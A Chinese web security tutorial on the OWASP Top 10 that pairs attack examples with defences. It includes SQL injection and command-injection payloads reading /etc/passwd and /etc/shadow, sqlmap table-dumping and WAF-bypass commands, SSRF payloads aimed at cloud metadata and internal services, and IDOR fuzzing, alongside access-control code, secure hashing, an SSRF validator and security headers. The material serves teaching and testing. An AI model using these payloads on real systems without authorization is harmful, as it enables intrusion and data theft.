Web安全的十大威胁与防御
OWASP(开放Web应用安全项目)每3-4年发布一次Top 10,是Web安全的权威参考。2021版相比2017版有重大更新,新增了"不安全设计"和"软件与数据完整性失败"。
| 排名 | 风险 | 类别 | 严重程度 |
|---|---|---|---|
| A01 | Broken Access Control | 访问控制失效 | 🔴 极高 |
| A02 | Cryptographic Failures | 加密机制失败 | 🔴 高 |
| A03 | Injection | 注入攻击 | 🔴 高 |
| A04 | Insecure Design | 不安全设计 | 🟠 高 |
| A05 | Security Misconfiguration | 安全配置错误 | 🟠 中高 |
| A06 | Vulnerable Components | 脆弱组件 | 🟠 中高 |
| A07 | Auth Failures | 身份认证失败 | 🟡 中 |
| A08 | Data Integrity Failures | 数据完整性失败 | 🟡 中 |
| A09 | Logging Failures | 日志监控失败 | 🟡 中 |
| A10 | SSRF | 服务端请求伪造 | 🟡 中 |
注入攻击连续多年位居Top 3,是最致命的Web漏洞之一。包括SQL注入、命令注入、XSS等。
# 经典SQL注入示例
# 漏洞代码 (PHP):
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
# 攻击payload:
# ?id=1 OR 1=1 --
# 实际SQL: SELECT * FROM users WHERE id = 1 OR 1=1 --
# Union注入提取数据:
# ?id=1 UNION SELECT username,password FROM admins --
# ?id=1 UNION SELECT table_name,0 FROM information_schema.tables --
# 盲注(Boolean-based):
# ?id=1 AND (SELECT SUBSTRING(password,1,1) FROM admins)='a' --
# 逐字符猜解密码
# 盲注(Time-based):
# ?id=1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
# 根据响应时间判断字符
# 安装SQLMap
pip install sqlmap
# 基础检测
sqlmap -u "http://target.com/page?id=1" --batch
# 指定注入点
sqlmap -u "http://target.com/page?id=1&cat=2" -p id
# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表
sqlmap -u "http://target.com/page?id=1" -D mydb --tables
# 获取数据
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump
# POST注入
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test" \
-p username
# Cookie注入
sqlmap -u "http://target.com/page" \
--cookie="session=abc123" \
--level=2
# 绕过WAF
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,between,randomcase
# 反射型XSS
# URL: https://target.com/search?q=
# 存储型XSS (持久化)
# 留言板输入:
# DOM型XSS
# URL: https://target.com/page#
# XSS绕过技术
# 事件处理器:
# SVG:
# 命令注入示例
# 漏洞代码:
system("ping -c 1 " + $_GET['host']);
# 攻击:
# ?host=8.8.8.8;cat /etc/passwd
# ?host=8.8.8.8|id
# ?host=$(cat /etc/shadow)
# ?host=8.8.8.8`whoami`
访问控制失效是2021版排名第一的漏洞,包括越权访问、IDOR、权限提升等。
# IDOR (Insecure Direct Object Reference)
# 漏洞: URL直接暴露资源ID
# GET /api/users/1234/profile → 修改1234为1235查看他人信息
# 水平越权测试
# 1. 登录用户A
# 2. 请求 /api/orders/1001 (属于A)
# 3. 修改为 /api/orders/1002 (属于B)
# 4. 如果能访问B的订单 → IDOR漏洞
# 垂直越权测试
# 1. 以普通用户登录
# 2. 尝试访问管理员接口
# 3. GET /admin/dashboard
# 4. POST /api/admin/users (创建用户)
# 自动化IDOR测试工具
# Autorize (Burp Suite插件)
# 或使用ffuf模糊测试:
ffuf -u "https://target.com/api/users/FUZZ/profile" \
-w numbers.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200 \
-fc 403,404
# 1. 基于角色的访问控制(RBAC)
from functools import wraps
def require_role(role):
def decorator(f):
@wraps(f)
def decorated(*args, **kwargs):
if current_user.role != role:
abort(403)
return f(*args, **kwargs)
return decorated
return decorator
@app.route('/admin/dashboard')
@require_role('admin')
def admin_dashboard():
return render_template('admin.html')
# 2. 资源所有权验证
@app.route('/api/orders/')
def get_order(order_id):
order = Order.query.get(order_id)
if order.user_id != current_user.id:
abort(403) # 不是你的订单
return order.to_dict()
# 3. 默认拒绝策略
# 除非明确允许,否则拒绝所有访问
# 1. 明文传输
# HTTP → 替换为 HTTPS
# 检查混合内容
# 2. 弱哈希算法
import hashlib
# ❌ 不安全
hashlib.md5(b"password").hexdigest()
hashlib.sha1(b"password").hexdigest()
# ✅ 安全
import bcrypt
hashed = bcrypt.hashpw(b"password", bcrypt.gensalt(12))
bcrypt.checkpw(b"password", hashed)
# 3. 不安全的随机数
import random
# ❌ 不安全 (可预测)
random.randint(0, 999999)
# ✅ 安全
import secrets
secrets.token_hex(32) # 生成256位随机token
# 4. 硬编码密钥
# ❌ 不安全
API_KEY = "sk-1234567890abcdef"
DB_PASSWORD = "P@ssw0rd!"
# ✅ 安全 - 使用环境变量
import os
api_key = os.environ['API_KEY']
db_password = os.environ['DB_PASSWORD']
# 不安全设计: 密码重置使用可预测token
import time
# ❌ 用时间戳生成重置token
reset_token = str(int(time.time())) # 可预测!
# ✅ 使用安全随机token
import secrets
reset_token = secrets.token_urlsafe(32)
# 设置过期时间
expiry = datetime.now() + timedelta(hours=1)
# 不安全设计: 信任客户端数据
# ❌ 价格由前端传入
price = request.json['price'] # 客户端可篡改
# ✅ 服务端获取价格
product = Product.query.get(product_id)
price = product.price # 从数据库获取
# SSRF: 攻击者让服务器发起请求
# 漏洞: URL参数未验证
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
return requests.get(url).content # 危险!
# 攻击payload:
# /fetch?url=http://169.254.169.254/latest/meta-data/ (AWS)
# /fetch?url=http://127.0.0.1:6379/ (Redis)
# /fetch?url=file:///etc/passwd (本地文件)
# /fetch?url=http://10.0.0.1/admin/ (内网)
# SSRF绕过技术:
# 1. DNS重绑定: attacker.com → 127.0.0.1
# 2. IP编码: 0x7f000001 = 127.0.0.1
# 3. 十进制: 2130706433 = 127.0.0.1
# 4. IPv6: [::1] = 127.0.0.1
# 5. URL解析差异: http://evil@127.0.0.1:80/
# 防御SSRF
from urllib.parse import urlparse
import ipaddress
def is_safe_url(url):
"""验证URL是否安全"""
parsed = urlparse(url)
# 只允许http/https
if parsed.scheme not in ('http', 'https'):
return False
# 解析目标IP
try:
ip = ipaddress.ip_address(parsed.hostname)
except ValueError:
# 域名需要DNS解析后验证
import socket
try:
ip = ipaddress.ip_address(
socket.gethostbyname(parsed.hostname)
)
except:
return False
# 禁止内网地址
if ip.is_private or ip.is_loopback or ip.is_reserved:
return False
return True
# Nuclei - 基于模板的漏洞扫描器
# 安装
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 扫描目标
nuclei -u https://target.com
# 使用特定模板
nuclei -u https://target.com -t cves/ -t vulnerabilities/
# 批量扫描
nuclei -l urls.txt -o results.txt
# OWASP ZAP
# 安装
apt install zaproxy
# 命令行扫描
zap-cli quick-scan https://target.com
zap-cli active-scan https://target.com
# Nikto - Web服务器扫描
nikto -h https://target.com
nikto -h https://target.com -Tuning 123 # 特定测试
# Web安全测试清单 (基于OWASP WSTG)
## 1. 信息收集
curl -I https://target.com # 响应头
whatweb https://target.com # 技术栈识别
nmap -sV -p 80,443 target.com # 服务版本
## 2. 认证测试
# - 暴力破解保护
# - 密码策略
# - 会话管理
# - 记住我功能
# - 密码重置流程
## 3. 授权测试
# - 水平越权 (IDOR)
# - 垂直越权 (权限提升)
# - 功能级访问控制
## 4. 输入验证
# - SQL注入
# - XSS
# - 命令注入
# - 文件上传
# - SSRF
## 5. 业务逻辑
# - 价格篡改
# - 竞态条件
# - 工作流绕过
# 安全HTTP头
# Nginx配置
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "0"; # 已废弃,用CSP替代
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()";
# CSP (Content Security Policy) 详细配置
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
# Python Flask安全配置
from flask_talisman import Talisman
app = Flask(__name__)
Talisman(app,
force_https=True,
strict_transport_security=True,
content_security_policy={
'default-src': "'self'",
'script-src': ["'self'", "cdn.example.com"]
}
)